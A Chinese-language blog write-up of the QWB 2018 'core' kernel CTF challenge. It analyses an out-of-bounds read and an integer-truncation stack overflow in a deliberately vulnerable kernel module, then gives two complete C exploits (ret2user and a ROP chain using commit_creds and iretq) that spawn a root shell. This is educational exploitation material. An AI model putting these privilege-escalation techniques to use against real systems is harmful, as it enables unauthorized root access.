关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
QWB_2018_CORE
无
162
0
0
mut3p1g
http://p4nda.top/2018/07/13/ciscn2018-core/ https://xz.aliyun.com/t/2054 # 0x01 PREPARE 解压后有四个文件: ``` bzImage core.cpio start.sh vmlinux ``` 看看`start.sh` ``` qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ ``` 不过这里要把`-m 64M`修改大些,至少128M,不然会一直重启 进入后查看载入的模块: ``` / $ cat /proc/modules core 16384 0 - Live 0x0000000000000000 (O) ``` 将文件系统解开: ``` mkdir core && cd core cp ../core.cpio core.cpio.gz gunzip ./core.cpio.gz cpio -idmv < core.cpio ``` 然后把`init`里一些东西改一下: ``` # poweroff -d 120 -f & # 定时关闭 echo 1 > /proc/sys/kernel/kptr_restrict # 禁止普通用户查看相关地址,修改为0 echo 1 > /proc/sys/kernel/dmesg_restrict # 禁止普通用户查看dmesg,修改为0 或者直接 setsid /bin/cttyhack setuidgid 0 /bin/sh # 以root启动,之后再切换到普通用户 ``` # 0x02 漏洞分析 * leak ![](https://leanote.com/api/file/getImage?fileId=5d40f027ab6441318500125d) 这里调用了`copy_to_user`,将`msg[off]`写到了用户空间中,但`off`也是用户空间直接通过0x6677889就可以控制的 ![](https://leanote.com/api/file/getImage?fileId=5d40f027ab6441318500125e) 所以这里就存在越界读,可以泄露栈上的数据 * write ![](https://leanote.com/api/file/getImage?fileId=5d40f073ab64413185001270) 可以看到,在判断长度是否合法的时候是`__int64`,但实际用的时候却是`unsigned __int16`,那这明显就可以往栈上拷贝任意长度的`name`的内容了,也就构成了内核中的栈溢出。 `name`的赋值也是在`core_write`中实现的,限制长度为0x800。 ![](https://leanote.com/api/file/getImage?fileId=5d4104d4ab6441338900172b) # 0x03 漏洞利用 首先看一下保护机制,发现开启了kaslr和canary 然后进行exp编写,可以看到这里是调用`proc_create`注册驱动的,所以驱动文件是`/proc/core` 写好exp后,将编译的脚本写进去: ``` core_dir=core gcc -Os -static exp.c -lutil -o exp mv exp $core_dir/exp cd $core_dir find . | cpio -o -H newc | gzip > ../core.cpio cd .. ``` ## 1. ret2user 用于没有开启smep,所以可以让内核执行用户空间的代码。 ``` #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <pthread.h> // normal function size_t user_cs, user_ss, user_eflags, user_sp; void save_stats() { __asm__( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) /* output */ : /* input */ : "memory" /* clobbered register */ ); } int myopen(char *filename) { int fd = open(filename, O_RDWR); if (fd < 0) { printf("[!] OPEN FILE FAILED!"); exit(0); } return fd; } void log(char *title, char *str) { printf("[+] %s : %p\n", title, str); } void print_byte(char *str, int length){ for (int i=0; i*8 < length; i++) { printf("%p ", *(size_t*)(&str[8*i])); } printf("\n"); } // device function void set_off(int fd, size_t offset) { ioctl(fd, 0x6677889C, offset); } void core_read(int fd, char *buf) { ioctl(fd, 0x6677889B, buf); } void core_copy(int fd, size_t length) { ioctl(fd, 0x6677889A, length); } // ret2user function #define KERNCALL __attribute__((regparm(3))) void* (*prepare_kernel_cred)(void*) KERNCALL ; void (*commit_creds)(void*) KERNCALL ; void getroot(){ commit_creds(prepare_kernel_cred(0)); } void getshell(){ system("/bin/sh"); } int main() { save_stats(); int fd = myopen("/proc/core"); size_t read_buf[0x40/8]; // leak set_off(fd, 0x40); core_read(fd, read_buf); print_byte(read_buf, 0x40); size_t canary = read_buf[0]; log("canary", canary); size_t module_base = read_buf[2] - 0x19b; log("core_base", module_base); size_t vmlinux_base = read_buf[4] - 0x1dd6d1; log("vmlinux_base", vmlinux_base); commit_creds = vmlinux_base + 0x9c8e0; prepare_kernel_cred = vmlinux_base + 0x9cce0; size_t swaps = module_base + 0x0d6; // swaps; pop rbp; ret; size_t iretq = vmlinux_base + 0x50ac2; // iretq; ret; // ret2user size_t rop[0x30] = {0}; rop[8] = canary; rop[10] = getroot; rop[11] = swaps; rop[12] = 0; rop[13] = iretq; rop[14] = getshell; rop[15] = user_cs; rop[16] = user_eflags; rop[17] = user_sp; rop[18] = user_ss; write(fd, rop, 0x30 * 8); core_copy(fd,0xfffffffff0000000+0x30*8); } ``` ## 2. rop 先做一些准备工作: * 开启smep 在`start.sh`最后加一句话: ``` -cpu kvm64,+smep ``` * rop ``` ROPgadget –binary vmlinux > rop.txt ``` * vmlinux基址 要获取vmlinux的基址,用pwntools就可以: ``` PIE: No PIE (0xffffffff81000000) from pwn import * elf = ELF('./core/vmlinux') print "commit_creds",hex(elf.symbols['commit_creds']-0xffffffff81000000) print "prepare_kernel_cred",hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000) / # cat /proc/kallsyms | grep commit_creds ffffffffa289c8e0 T commit_creds >>> hex(0xffffffffa289c8e0-0x9c8e0) '0xffffffffa2800000' ``` 利用流程如下: 1. 执行commit_creds(prepare_kernel_cred(0)),让进程变为root的进程。 2. 执行swapgs,准备回到用户态 3. iretq回到用户态,getshell ``` #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <pthread.h> // normal function size_t user_cs, user_ss, user_eflags, user_sp; void save_stats() { __asm__( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) /* output */ : /* input */ : "memory" /* clobbered register */ ); } int myopen(char *filename) { int fd = open(filename, O_RDWR); if (fd < 0) { printf("[!] OPEN FILE FAILED!"); exit(0); } return fd; } void log(char *title, char *str) { printf("[+] %s : %p\n", title, str); } void print_byte(char *str, int length){ for (int i=0; i*8 < length; i++) { printf("%p ", *(size_t*)(&str[8*i])); } printf("\n"); } // device function void set_off(int fd, size_t offset) { ioctl(fd, 0x6677889C, offset); } void core_read(int fd, char *buf) { ioctl(fd, 0x6677889B, buf); } void core_copy(int fd, size_t length) { ioctl(fd, 0x6677889A, length); } void getshell() { system("/bin/sh"); } int main() { save_stats(); int fd = myopen("/proc/core"); size_t read_buf[0x40/8]; // leak set_off(fd, 0x40); core_read(fd, read_buf); print_byte(read_buf, 0x40); size_t canary = read_buf[0]; log("canary", canary); size_t module_base = read_buf[2] - 0x19b; log("core_base", module_base); size_t vmlinux_base = read_buf[4] - 0x1dd6d1; log("vmlinux_base", vmlinux_base); size_t commit_creds = vmlinux_base + 0x9c8e0; size_t prepare_kernel_cred = vmlinux_base + 0x9cce0; size_t swapgs = module_base + 0x0d6; // swaps; pop rbp; ret; size_t iretq = vmlinux_base + 0x50ac2; // iretq; ret; // rop size_t pop_rdi = vmlinux_base + 0x84b0cd; size_t pop_rdx = vmlinux_base + 0xa0f49; size_t pop_rcx = vmlinux_base + 0x86eb33; size_t mov_rdi_rax_jmp_rdx = vmlinux_base + 0x6ba83b; // mov rdi, rax; jmp rdx // rop size_t rop[0x30] = {0}; int i = 8; rop[i++] = canary; rop[i++] = 0; // rbp rop[i++] = pop_rdi; rop[i++] = 0; rop[i++] = prepare_kernel_cred; rop[i++] = pop_rdx; rop[i++] = commit_creds; rop[i++] = mov_rdi_rax_jmp_rdx; rop[i++] = swapgs; rop[i++] = 0; rop[i++] = iretq; rop[i++] = getshell; rop[i++] = user_cs; rop[i++] = user_eflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, 0x30 * 8); core_copy(fd,0xfffffffff0000000+0x30*8); } ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.